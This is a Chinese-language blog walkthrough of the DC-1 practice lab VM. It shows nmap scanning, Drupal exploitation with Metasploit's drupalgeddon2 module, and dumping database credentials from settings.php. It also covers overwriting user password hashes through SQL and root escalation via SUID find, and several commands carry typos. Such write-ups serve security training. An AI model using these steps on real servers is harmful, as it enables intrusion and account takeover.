当前位置: 首页 > news >正文

DC-1靶场渗透测试

信息收集

主机发现

可以看到kali的IP为192.168.5.128

我们看到DC1的靶场的MAC地址为00:0C:29:78:3B:1D

对照MAC地址扫描出DC-1的IP为192.168.5.131

端口扫描

得到了IP我们就可以对他进行扫描

-sV 探测目标主机端口上运行的服务版本

-p- 扫描全部端口

nmap -sV -p- 192.168.5.131

可以看到扫描到了80端口和22端口

Web指纹识别

我们访问192.168.5.131

利用火绒插件wappalyzer,利用工具很直观看到CMS是Drupal

也可以使用kali自带工具whatweb

webwhat -v http://192.168.5.131/

漏洞查找和利用

漏洞查找

我们可以使用msfconsole

我们搜索drupla模块

可以看到cms框架有很多漏洞

漏洞利用

使用漏洞模块,使用编号或者使用漏洞名称都可以

use 1 #编号1是我们选择的漏洞模块 或者------ use exploit/unix/webapp/drupal_drupalgeddon2 #使用漏洞名称

我们依次尝试

use0不行我们尝试use1

查看漏洞模块

Current Setting是目前设置的内容

Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置

就上面来说RHOSTS需要set,但是没有内容

缺少RHOSTS内容(这里面是目标ip,也就是靶场ip,下面LHOST才是攻击者ip)

set RHOSTS 192.168.5.131

配置好这些后,开始攻击run

可以看见攻击成功了可以进行getshell了

获取命令行shell

获得shell普通权限

也就是获取目标服务器的命令行控制界面

shell

我们查看当前目录列表

ls

发现一个特殊文件flag1.txt

获取交互shell

利用python实现交互

pyrhon -c 'import pty; pty.spawn("/bin/bash")'

可以看到这个shell只是一个普通权限,先尝试查看flag1.txt

这里的意思是:每个优秀的CMS都需要一个配置文件一一你也不例外,提示我们要找配置文件

这样找太麻烦了我们可以用find命令查找

cat `find / -name settings.php`

找到settings.php后,查看一下里面内容

成功找到flag2,提示我们要获得高级权限

同时也发现了数据库账号密码

数据库渗透

既然都给了用户和密码我们直接登入试试呗

mysql -udbuser -pR0ck3t

登入成功

查看数据库

show databases;

发现特殊数据库drupaldb

使用数据库,并且查看表

use drupal;show tables;

看到了一个users表,我们查看一下内容

得到了两个用户和两组密码,不是明文

我们要通过修改用户密码,来登陆

要修改密码,我们得先找到加密文件

这是一脚本文件,切换到该目录查看


查看一下

这个脚本是用php写的,而且还能用php加参数运行,直接得到加密后的密码,这里我们设置一个密码123456

得到加密后的密码, 接着我们登入mysql修改一下admin跟Fred的密码

mysql -udbuser -pR0ck3t use drupaldb;update users set pass = "$S$DwSsuJZg9sNMnzfvkOg4EKvt7lMBdQ95kMfBrim.0EXmCA71skhh where name = 'admin' or name = 'Fred';


接着我们登录网站,找到flag3

登进去就找到了flag3,提示了我们一些信息passwd和shadow,明显就是linux的文件

/etc/passwd

该文件存储了系统用户的基本信息,所有用户都可以对其进行文件操作读

/etc/shadow

该文件存储了系统用户的密码等信息,只有root权限用户才能读取

接着我们查看用户信息

tac /etc/passwd

可以看到flag4这个用户,我这里用到的方法是提权打开shadow文件

提权

使用find命令找到具有SUID权限的可执行二进制文件

find / -perm -u=s -type f 2>/dev/null

find比较常用,它可以执行root权限的命令查找文件

find / -name index.php -exec "/bin/sh" \;

中间查找什么文件不重要,只要存在就行

提权成功,接下来找到flag



http://www.jsqmd.com/news/945612/

相关文章:

  • BOBST LK4370 0701-1790-03电路板
  • $TEA将于6月4日主网启动并同步登陆多个主流平台
  • 浙江GEO优化公司怎么选?2026年6月口碑案例双料TOP10全测评,避坑指南 - 玖叁鹿
  • 一维字符数组初始化新用法(字符串太长可以写成多行)
  • 2026 年 6 月浙江 GEO 服务商选型指南:口碑与效果双优 TOP10 深度盘点,附案例解析 - 玖叁鹿
  • 2026年襄城和樊城靠谱的建工房地产律师汪涛推荐 - mypinpai
  • STM32F103驱动WS2812:巧用DMA半传输中断,内存占用直降90%的实战方案
  • 无代码测试自动化,这次真的来了:当产品专家不再被代码挡在门外
  • 2026年好用的电动门厂家排名,红建星机电设备领先 - mypinpai
  • 【AIOps监控新范式】:融合LLM日志解析+特征级异常检测的端到端AI模型监控架构(含Grafana+Prometheus+WhyLogs实战配置)
  • MoE(混合专家)架构为什么成了大模型标配
  • Nacos 注册中心:高并发微服务节点健康监测
  • Exchange 2016 CU23 保姆级安装避坑指南:从Windows Server准备到邮箱角色部署
  • 2026诸暨管道疏通公司/疏通下水道/清理化粪池/疏通马桶测评:百达领衔五大靠谱品牌 - 极速版本
  • 第30章:AI辅助ZK证书验证(链上)——Groth16证明验证实战
  • DeepSeek-Coder-V2技术架构解析:开源代码智能模型的突破性实现方案
  • 2026年新发布辽宁市场镀锌石笼网优质生产厂家深度剖析 - 2026年企业资讯
  • Axure RP中文界面3步搞定:告别英文困扰,轻松实现专业原型设计
  • YaoEngine DEV Log log系统
  • AI推高存储芯片价格,曾经市值超120亿美元的运动相机鼻祖GoPro能否活下去?
  • 现代Web开发:架构演进和前沿实践
  • 对话AI潜空间结构化:从混沌到可控生成的核心技术与实践
  • 【项目11】基于图像分割实现一键抠图
  • 别再只盯着电路板了!EMC测试中,线束布局与屏蔽的‘玄学’与科学(附汽车电子案例)
  • BOBST 704-1116-03电源板模块
  • VMware里给Ubuntu虚拟机改完网卡就启动失败?一个磁盘挂载脚本帮你彻底解决
  • 2026年门店小程序和小程序的区别
  • 【Git 工程实践】从命令原理到团队协作工作流全解析
  • LeetCode 三道高频中等数组算法详解|除自身乘积、矩阵置零、螺旋矩阵
  • DDD-014:工厂(Factory)